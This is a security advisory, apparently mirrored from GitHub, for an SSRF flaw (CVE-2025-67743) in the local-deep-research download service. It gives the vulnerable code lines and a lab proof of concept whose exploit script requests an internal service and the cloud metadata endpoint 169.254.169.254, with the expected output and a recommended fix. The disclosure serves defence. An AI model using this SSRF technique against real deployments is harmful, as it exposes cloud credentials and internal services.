ghsa-9c54-gxh7-ppjc
Vulnerability from github
Published
2025-12-23 18:17
Modified
2025-12-23 18:17
Summary
Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service
Details

Summary

The download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.

CWE: CWE-918 (Server-Side Request Forgery)


Details

Vulnerable Code Location

File: src/local_deep_research/research_library/services/download_service.py

The application has proper SSRF protection implemented in security/safe_requests.py and security/ssrf_validator.py, which blocks: - Loopback addresses (127.0.0.0/8) - Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) - AWS metadata endpoint (169.254.169.254) - Link-local addresses

However, download_service.py bypasses this protection by using raw requests.get() directly:

```python

Line 1038 - _download_generic method

response = requests.get(url, headers=headers, timeout=30)

Line 1075

response = requests.get(api_url, timeout=10)

Line 1100

pdf_response = requests.get(pdf_url, headers=headers, timeout=30)

Line 1144

response = requests.get(europe_url, headers=headers, timeout=30)

Line 1187

api_response = requests.get(elink_url, params=params, timeout=10)

Line 1207

summary_response = requests.get(esummary_url, ...)

Line 1236

response = requests.get(europe_url, headers=headers, timeout=30)

Line 1276

response = requests.get(url, headers=headers, timeout=10)

Line 1298

response = requests.get(europe_url, headers=headers, timeout=30) ```

Attack Vector

  1. Attacker submits a malicious URL via POST /api/resources/<research_id>
  2. URL is stored in database without SSRF validation (resource_service.py:add_resource())
  3. Download is triggered via /library/api/download/<resource_id>
  4. download_service.py fetches the URL using raw requests.get(), bypassing SSRF protection

PoC

Prerequisites

  • Docker and Docker Compose installed
  • Python 3.11+

Step 1: Create the Mock Internal Service

File: internal_service.py

```python

!/usr/bin/env python3

"""Mock internal service that simulates a sensitive internal endpoint."""

from http.server import HTTPServer, BaseHTTPRequestHandler import json

class InternalServiceHandler(BaseHTTPRequestHandler): def log_message(self, format, *args): print(f"[INTERNAL SERVICE] {args[0]}")

def do_GET(self):
    print(f"\n{'='*60}")
    print(f"[!] SSRF DETECTED - Internal service accessed!")
    print(f"[!] Path: {self.path}")
    print(f"{'='*60}\n")

    self.send_response(200)
    self.send_header("Content-Type", "application/json")
    self.end_headers()

    secret_data = {
        "status": "SSRF_SUCCESSFUL",
        "message": "You have accessed internal service via SSRF!",
        "internal_secrets": {
            "database_password": "super_secret_db_pass_123",
            "api_key": "sk-internal-api-key-xxxxx",
            "admin_token": "admin_bearer_token_yyyyy"
        }
    }
    self.wfile.write(json.dumps(secret_data, indent=2).encode())

if name == "main": print("[*] Starting mock internal service on port 8080") server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler) server.serve_forever() ```

Step 2: Create the Exploit Script

File: exploit.py

```python

!/usr/bin/env python3

"""SSRF Vulnerability Active PoC"""

import sys import requests

sys.path.insert(0, '/app/src')

def main(): print("=" * 70) print("SSRF Vulnerability PoC - Active Exploitation") print("=" * 70)

internal_url = "http://ssrf-internal-service:8080/secret-data"
aws_metadata_url = "http://169.254.169.254/latest/meta-data/"
headers = {"User-Agent": "Mozilla/5.0"}

# EXPLOIT 1: Access internal service
print("\n[EXPLOIT 1] Accessing internal service via SSRF")
print(f"    Target: {internal_url}")

try:
    # Same pattern as download_service.py line 1038
    response = requests.get(internal_url, headers=headers, timeout=30)
    print(f"    [!] SSRF SUCCESSFUL! Status: {response.status_code}")
    print(f"    [!] Retrieved secrets:")
    for line in response.text.split('\n')[:15]:
        print(f"        {line}")
except Exception as e:
    print(f"    [-] Failed: {e}")
    return 1

# EXPLOIT 2: AWS metadata bypass
print("\n[EXPLOIT 2] AWS Metadata endpoint bypass")
from local_deep_research.security.ssrf_validator import validate_url
print(f"    SSRF validator: {'ALLOWED' if validate_url(aws_metadata_url) else 'BLOCKED'}")
print(f"    But download_service.py BYPASSES the validator!")

try:
    requests.get(aws_metadata_url, timeout=5)
except requests.exceptions.ConnectionError:
    print(f"    Request sent without SSRF validation!")

print("\n" + "=" * 70)
print("SSRF VULNERABILITY CONFIRMED")
print("=" * 70)
return 0

if name == "main": sys.exit(main()) ```

Step 3: Run the PoC

```bash

Build and run with Docker

docker network create ssrf-poc-net docker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c "pip install -q && python internal_service.py" docker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py ```

Expected Output

```

SSRF Vulnerability PoC - Active Exploitation

[EXPLOIT 1] Accessing internal service via SSRF Target: http://ssrf-internal-service:8080/secret-data [!] SSRF SUCCESSFUL! Status: 200 [!] Retrieved secrets: { "status": "SSRF_SUCCESSFUL", "message": "You have accessed internal service via SSRF!", "internal_secrets": { "database_password": "super_secret_db_pass_123", "api_key": "sk-internal-api-key-xxxxx", "admin_token": "admin_bearer_token_yyyyy" } }

[EXPLOIT 2] AWS Metadata endpoint bypass SSRF validator: BLOCKED But download_service.py BYPASSES the validator! Request sent without SSRF validation!

====================================================================== SSRF VULNERABILITY CONFIRMED ====================================================================== ```


Impact

Who is affected?

All users running local-deep-research in: - Cloud environments (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints - Corporate networks - attackers can access internal services and databases - Any deployment - attackers can scan internal networks

What can an attacker do?

| Attack | Impact | |--------|--------| | Access cloud metadata | Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations | | Internal service access | Read sensitive data from databases, Redis, admin panels | | Network reconnaissance | Map internal network topology and services | | Bypass firewalls | Access services not exposed to the internet |


Recommended Fix

Replace all requests.get() calls in download_service.py with safe_get() from security/safe_requests.py:

```diff

download_service.py

  • from ...security.safe_requests import safe_get

def _download_generic(self, url, ...): - response = requests.get(url, headers=headers, timeout=30) + response = safe_get(url, headers=headers, timeout=30) ```

The safe_get() function already validates URLs against SSRF attacks before making requests.

Files to update:

  • src/local_deep_research/research_library/services/download_service.py (9 occurrences)
  • src/local_deep_research/research_library/downloaders/base.py (uses requests.Session)

References


Thank you for your work on this project! I'm happy to provide any additional information or help with testing the fix.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "local-deep-research"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            },
            {
              "fixed": "1.3.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67743"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-23T18:17:27Z",
    "nvd_published_at": "2025-12-23T01:15:43Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe download service (`download_service.py`) makes HTTP requests using raw `requests.get()` without utilizing the application\u0027s SSRF protection (`safe_requests.py`). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.\n\n**CWE**: CWE-918 (Server-Side Request Forgery)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File**: `src/local_deep_research/research_library/services/download_service.py`\n\nThe application has proper SSRF protection implemented in `security/safe_requests.py` and `security/ssrf_validator.py`, which blocks:\n- Loopback addresses (127.0.0.0/8)\n- Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)\n- AWS metadata endpoint (169.254.169.254)\n- Link-local addresses\n\nHowever, `download_service.py` bypasses this protection by using raw `requests.get()` directly:\n\n```python\n# Line 1038 - _download_generic method\nresponse = requests.get(url, headers=headers, timeout=30)\n\n# Line 1075\nresponse = requests.get(api_url, timeout=10)\n\n# Line 1100\npdf_response = requests.get(pdf_url, headers=headers, timeout=30)\n\n# Line 1144\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n\n# Line 1187\napi_response = requests.get(elink_url, params=params, timeout=10)\n\n# Line 1207\nsummary_response = requests.get(esummary_url, ...)\n\n# Line 1236\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n\n# Line 1276\nresponse = requests.get(url, headers=headers, timeout=10)\n\n# Line 1298\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n```\n\n### Attack Vector\n\n1. Attacker submits a malicious URL via `POST /api/resources/\u003cresearch_id\u003e`\n2. URL is stored in database without SSRF validation (`resource_service.py:add_resource()`)\n3. Download is triggered via `/library/api/download/\u003cresource_id\u003e`\n4. `download_service.py` fetches the URL using raw `requests.get()`, bypassing SSRF protection\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Docker and Docker Compose installed\n- Python 3.11+\n\n### Step 1: Create the Mock Internal Service\n\n**File: `internal_service.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Mock internal service that simulates a sensitive internal endpoint.\"\"\"\n\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\n\nclass InternalServiceHandler(BaseHTTPRequestHandler):\n    def log_message(self, format, *args):\n        print(f\"[INTERNAL SERVICE] {args[0]}\")\n    \n    def do_GET(self):\n        print(f\"\\n{\u0027=\u0027*60}\")\n        print(f\"[!] SSRF DETECTED - Internal service accessed!\")\n        print(f\"[!] Path: {self.path}\")\n        print(f\"{\u0027=\u0027*60}\\n\")\n        \n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        \n        secret_data = {\n            \"status\": \"SSRF_SUCCESSFUL\",\n            \"message\": \"You have accessed internal service via SSRF!\",\n            \"internal_secrets\": {\n                \"database_password\": \"super_secret_db_pass_123\",\n                \"api_key\": \"sk-internal-api-key-xxxxx\",\n                \"admin_token\": \"admin_bearer_token_yyyyy\"\n            }\n        }\n        self.wfile.write(json.dumps(secret_data, indent=2).encode())\n\nif __name__ == \"__main__\":\n    print(\"[*] Starting mock internal service on port 8080\")\n    server = HTTPServer((\"0.0.0.0\", 8080), InternalServiceHandler)\n    server.serve_forever()\n```\n\n### Step 2: Create the Exploit Script\n\n**File: `exploit.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"SSRF Vulnerability Active PoC\"\"\"\n\nimport sys\nimport requests\n\nsys.path.insert(0, \u0027/app/src\u0027)\n\ndef main():\n    print(\"=\" * 70)\n    print(\"SSRF Vulnerability PoC - Active Exploitation\")\n    print(\"=\" * 70)\n    \n    internal_url = \"http://ssrf-internal-service:8080/secret-data\"\n    aws_metadata_url = \"http://169.254.169.254/latest/meta-data/\"\n    headers = {\"User-Agent\": \"Mozilla/5.0\"}\n    \n    # EXPLOIT 1: Access internal service\n    print(\"\\n[EXPLOIT 1] Accessing internal service via SSRF\")\n    print(f\"    Target: {internal_url}\")\n    \n    try:\n        # Same pattern as download_service.py line 1038\n        response = requests.get(internal_url, headers=headers, timeout=30)\n        print(f\"    [!] SSRF SUCCESSFUL! Status: {response.status_code}\")\n        print(f\"    [!] Retrieved secrets:\")\n        for line in response.text.split(\u0027\\n\u0027)[:15]:\n            print(f\"        {line}\")\n    except Exception as e:\n        print(f\"    [-] Failed: {e}\")\n        return 1\n    \n    # EXPLOIT 2: AWS metadata bypass\n    print(\"\\n[EXPLOIT 2] AWS Metadata endpoint bypass\")\n    from local_deep_research.security.ssrf_validator import validate_url\n    print(f\"    SSRF validator: {\u0027ALLOWED\u0027 if validate_url(aws_metadata_url) else \u0027BLOCKED\u0027}\")\n    print(f\"    But download_service.py BYPASSES the validator!\")\n    \n    try:\n        requests.get(aws_metadata_url, timeout=5)\n    except requests.exceptions.ConnectionError:\n        print(f\"    Request sent without SSRF validation!\")\n    \n    print(\"\\n\" + \"=\" * 70)\n    print(\"SSRF VULNERABILITY CONFIRMED\")\n    print(\"=\" * 70)\n    return 0\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n### Step 3: Run the PoC\n\n```bash\n# Build and run with Docker\ndocker network create ssrf-poc-net\ndocker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c \"pip install -q \u0026\u0026 python internal_service.py\"\ndocker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py\n```\n\n### Expected Output\n\n```\n======================================================================\nSSRF Vulnerability PoC - Active Exploitation\n======================================================================\n\n[EXPLOIT 1] Accessing internal service via SSRF\n    Target: http://ssrf-internal-service:8080/secret-data\n    [!] SSRF SUCCESSFUL! Status: 200\n    [!] Retrieved secrets:\n        {\n          \"status\": \"SSRF_SUCCESSFUL\",\n          \"message\": \"You have accessed internal service via SSRF!\",\n          \"internal_secrets\": {\n            \"database_password\": \"super_secret_db_pass_123\",\n            \"api_key\": \"sk-internal-api-key-xxxxx\",\n            \"admin_token\": \"admin_bearer_token_yyyyy\"\n          }\n        }\n\n[EXPLOIT 2] AWS Metadata endpoint bypass\n    SSRF validator: BLOCKED\n    But download_service.py BYPASSES the validator!\n    Request sent without SSRF validation!\n\n======================================================================\nSSRF VULNERABILITY CONFIRMED\n======================================================================\n```\n\n---\n\n## Impact\n\n### Who is affected?\n\nAll users running local-deep-research in:\n- **Cloud environments** (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints\n- **Corporate networks** - attackers can access internal services and databases\n- **Any deployment** - attackers can scan internal networks\n\n### What can an attacker do?\n\n| Attack | Impact |\n|--------|--------|\n| Access cloud metadata | Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations |\n| Internal service access | Read sensitive data from databases, Redis, admin panels |\n| Network reconnaissance | Map internal network topology and services |\n| Bypass firewalls | Access services not exposed to the internet |\n\n---\n\n## Recommended Fix\n\nReplace all `requests.get()` calls in `download_service.py` with `safe_get()` from `security/safe_requests.py`:\n\n```diff\n# download_service.py\n\n+ from ...security.safe_requests import safe_get\n\n  def _download_generic(self, url, ...):\n-     response = requests.get(url, headers=headers, timeout=30)\n+     response = safe_get(url, headers=headers, timeout=30)\n```\n\nThe `safe_get()` function already validates URLs against SSRF attacks before making requests.\n\n### Files to update:\n- `src/local_deep_research/research_library/services/download_service.py` (9 occurrences)\n- `src/local_deep_research/research_library/downloaders/base.py` (uses `requests.Session`)\n\n---\n\n## References\n\n- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n- [AWS SSRF Attacks and IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)\n- [PortSwigger: SSRF](https://portswigger.net/web-security/ssrf)\n\n---\n\nThank you for your work on this project! I\u0027m happy to provide any additional information or help with testing the fix.",
  "id": "GHSA-9c54-gxh7-ppjc",
  "modified": "2025-12-23T18:17:27Z",
  "published": "2025-12-23T18:17:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/LearningCircuit/local-deep-research/security/advisories/GHSA-9c54-gxh7-ppjc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67743"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LearningCircuit/local-deep-research/commit/b79089ff30c5d9ae77e6b903c408e1c26ad5c055"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/LearningCircuit/local-deep-research"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…